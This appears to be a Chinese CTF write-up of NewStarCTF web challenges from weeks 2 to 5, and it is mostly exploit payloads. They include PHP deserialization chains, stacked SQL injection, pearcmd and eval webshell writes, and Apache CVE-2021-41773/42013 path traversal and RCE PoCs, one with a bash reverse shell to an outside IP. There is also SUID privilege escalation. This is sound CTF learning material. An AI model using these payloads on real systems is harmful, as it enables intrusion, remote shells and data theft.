WEEK1
第一周web太简单不想写
WEEK2
IncludeOne
<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
//flag in `flag.php`
include($_GET['file']);
}else{
echo "Baby Hacker?";
}
}else{
echo "No Hacker!";
}
先是个伪随机,然后绕过if判断
伪随机就直接爆种子然后挨个试就行
然后是绕过if,不让有base,还要有newstar,用伪协议就行。
PHP伪协议可以将某个文件或文件夹包含在其中
f12看见flag.php的内容,然后rot13解码。
UnserializeOne
<?php
class Start{
public $name;
public $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}}}
$a = new Start();
$a ->name = new Sec();
$a ->name->obj = new Easy();
$a ->name->var = new eeee();
$a ->name->var->obj = new Start();
$a ->name->var->obj->func = new Sec();
#payload
#O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:4:"func";N;}
可以利用对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public,以消除不可打印字符。
Word-For-You(2 Gen)
报错注入就行
flag在wfy_comment表的id=100那行
ezAPI
<?php
error_reporting(0);
$id = $_POST['id'];
function waf($str)
{
if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {
return False;
} else {
return True;
}
}
function send($data)
{
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type: application/json',
'content' => $data,
'timeout' => 10 * 60
)
);
$context = stream_context_create($options);
$result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
return $result;
}
if (isset($id)) {
if (waf($id)) {
isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
$res = json_decode(send($data));
if ($res->data->users_user_by_pk->name !== NULL) {
echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;
} else {
echo "<b>Can't found it!</b><br><br>DEBUG: ";
var_dump($res->data);
}
} else {
die("<b>Hacker! Only Number!</b>");
}
} else {
die("<b>No Data?</b>");
}
?>
本来以为会是一个stream_context_create的crlf漏洞,然后发现其实是graphql的安全问题
具体的看这个就行
先用内省查询获得数据
{"query":"\n query IntrospectionQuery {\r\n __schema {\r\n queryType { name }\r\n mutationType { name }\r\n subscriptionType { name }\r\n types {\r\n ...FullType\r\n }\r\n directives {\r\n name\r\n description\r\n locations\r\n args {\r\n ...InputValue\r\n }\r\n }\r\n }\r\n }\r\n\r\n fragment FullType on __Type {\r\n kind\r\n name\r\n description\r\n fields(includeDeprecated: true) {\r\n name\r\n description\r\n args {\r\n ...InputValue\r\n }\r\n type {\r\n ...TypeRef\r\n }\r\n isDeprecated\r\n deprecationReason\r\n }\r\n inputFields {\r\n ...InputValue\r\n }\r\n interfaces {\r\n ...TypeRef\r\n }\r\n enumValues(includeDeprecated: true) {\r\n name\r\n description\r\n isDeprecated\r\n deprecationReason\r\n }\r\n possibleTypes {\r\n ...TypeRef\r\n }\r\n }\r\n\r\n fragment InputValue on __InputValue {\r\n name\r\n description\r\n type { ...TypeRef }\r\n defaultValue\r\n }\r\n\r\n fragment TypeRef on __Type {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n ","variables":null}
找到flag在的地方,然后查询
&data={"query":"query{\nffffllllaaagggg_1n_h3r3_flag {\nflag\n}\n}\n", "variables":null}
WEEK3
BabySSTI_One
直接用之前珍藏的那个ssti payload往里写马
multiSQL
1';show tables;#
1';show columns from score;#
改成绩
1';SET @sqli=concat(char(117,112,100,97,116,101),' score
SET listen= 221');PREPARE hacker from @sqli;EXECUTE hacker;#
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from score');PREPARE hacker from @sqli;EXECUTE hacker;#
验证
IncludeTwo
pear文件包含rce
?file=/usr/local/lib/php/pearcmd&+config-create+/<?=eval($_POST[a]);?>+/tmp/hello.php
然后包含hello.php
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6NDp7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJzbzRtcyI7czo2OiJ3aG9hbWkiO31zOjIxOiIAdGhpbmtcTW9kZWwAd2l0aEF0dHIiO2E6MTp7czo1OiJzbzRtcyI7czo2OiJzeXN0ZW0iO31zOjk6IgAqAGFwcGVuZCI7YToxOntzOjU6InNvNG1zIjthOjA6e319czo4OiJyZWxhdGlvbiI7YjowO319fQ
Maybe You Have To think More
好怪的题目,不给源码的反序列化可还行
cookie里是序列化的内容,然后通过报错可以得到是tp5.1.41的版本。直接去网上找现成的反序列化链子。
正好有个对应版本的反序列化链,但是不知道为啥拿到的payload没法用,可能是源码不太一样
https://www.freebuf.com/vuls/269882.html
这里我们用这个
ThinkPHP5.1反序列化漏洞_Sentiment.的博客-CSDN博客_thinkphp5.1漏洞
https://www.freebuf.com/vuls/263977.html
与文章里唯一的不同就是要把序列化的内容放了cookie里。
然后在环境变量里可以找到flag
WEEK4
So Baby RCE
两种方法:
一种是用&&来连接命令,使用cd来穿越目录,然后用sort来读取
cmd=cd%09..%26%26cd%09..%26%26cd%09..%26%26sort%09ffff?lllaaaaggggg
另一种是curl种马
cmd=curl%09-o%091.php%09ip
WEEK5
Unsafe Apache
CVE-2021-41773
影响版本:Apache 2.4.49
poc:
curl -v --path-as-is http://192.168.190.134:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
curl -v --data "echo;id" 'http://192.168.190.134:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/192.168.190.146/8888 0>&1' "http://192.168.190.134:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
url perl复制代码
CVE-2021-42013
影响版本:Apache 2.4.49 和 Apache 2.4.50
poc:
curl -v --path-as-is http://192.168.190.134:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
curl -v --data "echo;id" 'http://192.168.190.134:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; whoami' "http://192.168.190.134:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"
从响应可以看到是apache2.4.50版本
如果服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令
直接构造payload进行rce
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
So Baby RCE Again
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/bash|curl/i',$_GET["cmd"])){
echo "Hacker!";
}else{
shell_exec($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}
可以直接写文件,记得转义$号
?cmd=echo "<?php eval(\$_POST[1]);phpinfo();?>" > 1.php
可以看到根目录下有flag文件,但是因为是700的权限,所以我们需要提权
这里是利用的suid提权
find / -user root -perm -4000 -print 2>/dev/null
不知道为什么在蚁剑的虚拟终端里没显示
看到有date,就可以利用date命令读取flag文件
这里在网页不会有回显,可能是因为date是通过报错把文件读出来的,但是网页没有回显Linux里的报错。(猜的,没验证过